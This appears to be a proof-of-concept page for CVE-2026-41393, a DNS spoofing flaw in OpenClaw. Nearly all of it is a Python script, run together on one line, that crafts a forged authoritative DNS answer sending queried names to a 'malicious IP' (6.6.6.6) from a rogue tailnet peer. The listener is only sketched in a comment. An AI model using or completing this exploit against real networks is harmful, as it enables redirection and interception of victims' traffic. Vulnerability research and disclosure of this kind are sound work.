CVE-2026-41393 OpenClaw DNS欺骗漏洞

# Proof of Concept for CVE-2026-41393 # This script simulates a malicious peer in the tailnet claiming DNS authority. # Note: This requires being in the same tailnet and a CA-trusted endpoint. import socket import struct def craft_dns_response(transaction_id, query_name): """ Crafts a malicious DNS response claiming authority for the queried domain. """ # DNS Header flags = 0x8400 # Response, Authoritative questions = 1 answer_rrs = 1 authority_rrs = 0 additional_rrs = 0 header = struct.pack("!HHHHHH", transaction_id, flags, questions, answer_rrs, authority_rrs, additional_rrs) # Question Section (Echoing the query) question_parts = query_name.split('.') question_body = b''.join([bytes([len(part)]) + part.encode() for part in question_parts]) + b'\x00' question_type = struct.pack("!H", 1) # Type A question_class = struct.pack("!H", 1) # Class IN question = question_body + question_type + question_class # Answer Section (Malicious redirection) name = struct.pack("!H", 0xC00C) # Pointer to query name type_a = struct.pack("!H", 1) class_in = struct.pack("!H", 1) ttl = struct.pack("!I", 3600) rdlength = struct.pack("!H", 4) # IPv4 length rdata = socket.inet_aton("6.6.6.6") # Malicious IP answer = name + type_a + class_in + ttl + rdlength + rdata return header + question + answer # Listener loop (simplified) # In a real exploit, this would listen on the OpenClaw discovery port. print("Malicious DNS responder started for CVE-2026-41393...") # print(craft_dns_response(1234, "example.openclaw.internal"))